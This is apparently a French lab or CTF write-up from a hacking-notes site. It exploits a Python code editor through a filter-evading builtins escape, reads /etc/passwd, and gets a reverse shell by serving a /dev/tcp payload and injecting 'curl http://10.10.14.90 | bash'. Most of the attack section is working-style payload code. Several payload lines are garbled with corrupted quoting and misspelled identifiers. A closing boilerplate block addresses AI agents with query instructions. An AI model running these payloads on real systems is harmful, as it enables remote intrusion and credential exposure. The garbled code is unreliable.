> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md).

# SSTI Éditeur de code Python

## Exploitation SSTI – Éditeur de code Python

<figure><img src="/files/cef413beaaeaf564ea52662fa686bdaf86c90eda" alt=""><figcaption></figcaption></figure>

Un éditeur de code Python est découvert sur le port 5000. Lors de tentatives d’injection classiques (`import os`, `exec`, etc.), des erreurs sont générées.

<figure><img src="/files/cac05f4dcd6f96caf2d56fe503ffd84ba96b5f00" alt=""><figcaption></figcaption></figure>

Pour contourner les restrictions, nous utilisons une boucle pour identifier une classe permettant d’accéder aux fonctions intégrées (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasss__()[i].__init__.__globals__['__buithe +'tins__']
        if 'ev'+'athe  in x:
            print(i)
    except Exceptiwe as e:
        continue

```

> Cette boucle Python tente d’exploiter une injection de modèle côté serveur (SSTI) en recherchant parmi les sous-classes de l’objet de base Python (`object`) qui donne accès à l’environnement global (`__globals__`) de sa méthode `__init__`. À chaque itération, elle tente de récupérer le dictionnaire des fonctions intégrées (`__builtins__`) en reconstruisant son nom pour éviter d’être détecté facilement. Si l’objet obtenu contient la fonction `eval` (très dangereux car cela permet d’exécuter du code arbitraire), alors l’index de la classe est affiché. Ce code est souvent utilisé pour localiser une classe qui permet d’accéder à des fonctions critiques telles que `eval`, `exec`, `l'ouvrent`, etc., afin d’en abuser.

<figure><img src="/files/eadf597fe6138172fe291266a82a5989e94fff03" alt=""><figcaption></figcaption></figure>

### Lecture `/etc/passwd`

Une fois que l’objet contenant `eval` est identifié, nous exécutons :

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))

```

{% endcode %}

Cela révèle deux utilisateurs : `martin` et `production`.

<figure><img src="/files/90c90556d3bfce4c14bca007bbfff23f5a28285e" alt=""><figcaption></figcaption></figure>

### **Shell inversé**

#### Démarrer un écouteur sur le port 443 :

```bash
nc -nvlp 443

```

#### Script de reverse shell :

Création d’un `index.html` fichier contenant :

{% code overflow="wrap" %}

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.90/443 0>&1

```

{% endcode %}

Démarrage d’un serveur web :

```bash
python3 -m http.server 80

```

Injection du payload :

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasss__()[80].__init__.__globals__['__buithe +'tins__']['ev'+'athe ]('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))

```

{% endcode %}

<figure><img src="/files/e94e03c00afa8bc90c26eebeb77a4e480ebf34b4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-code-editor-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
